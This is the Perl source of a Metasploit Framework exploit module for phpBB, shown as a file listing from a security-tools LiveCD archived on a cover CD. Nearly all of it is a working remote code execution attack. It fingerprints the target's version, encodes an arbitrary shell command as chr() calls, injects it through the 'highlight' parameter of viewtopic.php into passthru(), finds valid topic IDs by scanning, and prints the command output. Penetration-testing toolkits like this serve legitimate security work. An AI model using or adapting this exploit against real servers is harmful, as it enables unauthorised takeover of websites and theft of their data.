home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / phpbb_highlight.pm < prev    next >
Text File  |  2006-06-30  |  6KB  |  232 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::phpbb_highlight;
  11. use base "Msf::Exploit";
  12. use Pex::Text;
  13. use strict;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'phpBB viewtopic.php Arbitrary Code Execution',
  20.     'Version'  => '$Revision: 1.6 $',
  21.     'Authors' =>
  22.       [
  23.         'Valsmith <mvalsmith[at]gmail.com>',
  24.         'H D Moore <hdm [at] metasploit.com>',
  25.       ],
  26.  
  27.     'Arch'  => [ ],
  28.     'OS'    => [ ],
  29.     'Priv'  => 0,
  30.  
  31.     'UserOpts'  =>
  32.       {
  33.         'RHOST' => [1, 'ADDR', 'The target address'],
  34.         'RPORT' => [1, 'PORT', 'The target port', 80],
  35.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  36.         'PHPBB_ROOT' => [1, 'URL', 'The phpBB root Directory', '/phpbb'],
  37.         'TOPIC' => [0, 'DATA', 'The ID of a valid topic'],
  38.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  39.       },
  40.  
  41.     'Payload' =>
  42.       {
  43.         'Space'    => 1024,
  44.         'Keys'     => ['cmd', 'cmd_bash'],
  45.       },
  46.  
  47.     'Description'  => Pex::Text::Freeform(qq{
  48.         This module exploits two arbitrary PHP code execution flaws in the
  49.     phpBB forum system. The problem is that the 'highlight' parameter
  50.     in the 'viewtopic.php' script is not verified properly and will
  51.     allow an attacker to inject arbitrary code via preg_replace().
  52. }),
  53.  
  54.     'Refs'  =>
  55.       [
  56.         ['OSVDB',   '11719'],
  57.         ['OSVDB',   '17613'],
  58.         ['MIL',     '85'],
  59.         ['BID',     '14086'],
  60.       ],
  61.  
  62.     'DefaultTarget' => 0,
  63.     'Targets' =>
  64.       [
  65.         ['Autotarget',0],
  66.         ['phpbb <2.0.11', 1],
  67.         ['phpbb <2.0.15', 2],
  68.       ],
  69.  
  70.     'Keys'  =>  ['phpBB'],
  71.  
  72.     'DisclosureDate' => 'Nov 12 2004',
  73.   };
  74.  
  75. sub new {
  76.     my $class = shift;
  77.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  78.     return($self);
  79. }
  80.  
  81. sub Exploit {
  82.     my $self = shift;
  83.     my $target_host = $self->GetVar('RHOST');
  84.     my $target_port = $self->GetVar('RPORT');
  85.     my $vhost       = $self->GetVar('VHOST') || $target_host;
  86.     my $cmd         = $self->GetVar('EncodedPayload')->RawPayload;
  87.     my $target_idx  = $self->GetVar('TARGET');
  88.     my $phpbb_root  = $self->GetVar('PHPBB_ROOT');
  89.     my $topic       = $self->GetVar('TOPIC') || $self->FindTopic();
  90.     my $target      = $self->Targets->[$target_idx];
  91.     my $url;
  92.     my $byte;
  93.  
  94.     if (! $topic) {
  95.         $self->PrintLine("[*] No valid topic ID found, please specify the TOPIC option.");
  96.         return;
  97.     }
  98.  
  99.     # Add an echo on each end for easy output capturing
  100.     $cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";
  101.  
  102.     # Encode the command as a set of chr() function calls
  103.  
  104.     if ($target_idx == 0) {
  105.  
  106.         $url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
  107.         $url .= "%2527"."%252e"."phpinfo()". "%252e"."%2527";
  108.  
  109.         my $request =
  110.           "GET $url HTTP/1.1\r\n".
  111.           "Host: $vhost:$target_port\r\n".
  112.           "Connection: Close\r\n".
  113.           "\r\n";
  114.  
  115.         $self->PrintLine("[*] Trying to determine which attack method to use...");
  116.         my $s = Msf::Socket::Tcp->new
  117.           (
  118.             'PeerAddr'  => $target_host,
  119.             'PeerPort'  => $target_port,
  120.             'SSL'       => $self->GetVar('SSL'),
  121.           );
  122.         if ($s->IsError) {
  123.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  124.             return;
  125.         }
  126.  
  127.         $s->Send($request);
  128.         my $results = $s->Recv(-1, 20);
  129.         $s->Close();
  130.  
  131.         if ($results =~ /\<title>phpinfo/) {
  132.             $target_idx = 1;
  133.         }
  134.  
  135.         else { $target_idx = 2; }
  136.  
  137.     }
  138.  
  139.     if ($target_idx =~ /1/) {
  140.         $byte = join('%252e', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
  141.         $url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
  142.         $url .= "%2527"."%252e"."passthru($byte)". "%252e"."%2527";
  143.     }
  144.  
  145.     if ($target_idx =~ /2/) {
  146.         $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
  147.         $url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
  148.         $url .= "%27."."passthru($byte)".".%27";
  149.  
  150.     }
  151.  
  152.     my $request =
  153.       "GET $url HTTP/1.1\r\n".
  154.       "Host: $vhost:$target_port\r\n".
  155.       "Connection: Close\r\n".
  156.       "\r\n";
  157.  
  158.     $self->PrintLine("[*] Sending the malicious GET request...");
  159.     my $s = Msf::Socket::Tcp->new
  160.       (
  161.         'PeerAddr'  => $target_host,
  162.         'PeerPort'  => $target_port,
  163.         'SSL'       => $self->GetVar('SSL'),
  164.       );
  165.     if ($s->IsError) {
  166.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  167.         return;
  168.     }
  169.  
  170.     $s->Send($request);
  171.     my $results = $s->Recv(-1, 20);
  172.     $s->Close();
  173.  
  174.     if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
  175.         my $out = $1;
  176.         $out =~ s/^\s+|\s+$//gs;
  177.         if ($out) {
  178.             $self->PrintLine('----------------------------------------');
  179.             $self->PrintLine('');
  180.             $self->PrintLine($out);
  181.             $self->PrintLine('');
  182.             $self->PrintLine('----------------------------------------');
  183.         }
  184.     }
  185.  
  186.     return;
  187. }
  188.  
  189. sub FindTopic {
  190.     my $self = shift;
  191.     my $target_host = $self->GetVar('RHOST');
  192.     my $target_port = $self->GetVar('RPORT');
  193.     my $vhost       = $self->GetVar('VHOST') || $target_host;
  194.     my $phpbb_root  = $self->GetVar('PHPBB_ROOT');
  195.  
  196.     for (my $topic = 1; $topic < 32; $topic++ ) {
  197.  
  198.         my $s = Msf::Socket::Tcp->new
  199.           (
  200.             'PeerAddr'  => $target_host,
  201.             'PeerPort'  => $target_port,
  202.             'SSL'       => $self->GetVar('SSL'),
  203.           );
  204.  
  205.         if ($s->IsError) {
  206.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  207.             return;
  208.         }
  209.  
  210.         $self->PrintLine("[*] Checking topic ID value $topic...");
  211.  
  212.         my $request =
  213.           "GET $phpbb_root/viewtopic.php?topic=$topic HTTP/1.1\r\n".
  214.           "Host: $vhost:$target_port\r\n".
  215.           "Connection: Close\r\n".
  216.           "\r\n";
  217.  
  218.         $s->Send($request);
  219.         my $results = $s->Recv(-1, 20);
  220.         $s->Close();
  221.  
  222.         if ($results =~ /class="postdetails"/s) {;
  223.             $self->PrintLine("[*] Discovered valid topic ID value $topic");
  224.             return $topic;
  225.         }
  226.     }
  227.  
  228.     return;
  229. }
  230.  
  231. 1;
  232.